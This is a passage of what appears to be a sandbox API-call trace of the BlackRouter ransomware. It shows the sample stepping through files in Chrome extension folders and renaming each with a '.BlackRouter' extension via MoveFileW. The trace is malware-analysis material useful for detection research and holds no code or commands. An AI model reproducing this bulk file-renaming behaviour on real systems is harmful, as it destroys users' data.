HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png.blackrouter")) returned 1 [0052.463] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0x22c [0052.466] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828c7cb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82aab310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5c81590, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0052.466] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_16.png.blackrouter")) returned 1 [0052.467] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0xa0 [0052.470] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828ccad0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828ccad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5ca76f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0052.470] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.blackrouter")) returned 1 [0052.471] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0xfc [0052.474] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828cf1e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828d18f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5ca76f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0052.474] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_close.png.blackrouter")) returned 1 [0052.475] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0xa0 [0052.478] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828d6710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828d6710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5ca76f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0052.478] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png.blackrouter")) returned 1 [0052.481] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0xa6 [0052.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828d8e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828d8e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5ccd850, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0052.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.blackrouter")) returned 1 [0052.486] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae198 | out: lpFileSizeHigh=0x1ae198*=0x0) returned 0xa0 [0052.490] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae1e0 | out: lpFileInformation=0x1ae1e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828ddc40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828ddc40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc5ccd850, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0052.491] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.blackrouter")) returned 1 [0053.431] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x180f [0053.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86d1bfb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc65e0c30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1810)) returned 1 [0053.445] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png.blackrouter")) returned 1 [0054.267] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x111e1 [0054.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8364db50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8364db50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc6dc3510, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x111f0)) returned 1 [0054.275] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html.blackrouter")) returned 1 [0054.276] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x38a8 [0054.329] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836a0b70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836a0b70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc6e5ba90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x38b0)) returned 1 [0054.329] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback.html.blackrouter")) returned 1 [0054.331] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x8c0bf [0054.391] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83637bc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8363f0f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc6ef4010, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8c0c0)) returned 1 [0054.391] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.blackrouter")) returned 1 [0054.392] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0xa89c [0054.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83641800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83643f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc6f1a170, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa8a0)) returned 1 [0054.406] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.blackrouter")) returned 1 [0054.407] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x181aa [0054.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83646620, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83648d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc6f66430, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x181b0)) returned 1 [0054.442] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_game_sender.js.blackrouter")) returned 1 [0054.443] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x3a258 [0054.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83652970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83657790, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc6fb26f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3a260)) returned 1 [0054.468] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js.blackrouter")) returned 1 [0054.470] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0xce17 [0054.489] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8365ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836613d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc6fd8850, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xce20)) returned 1 [0054.490] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_sender.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 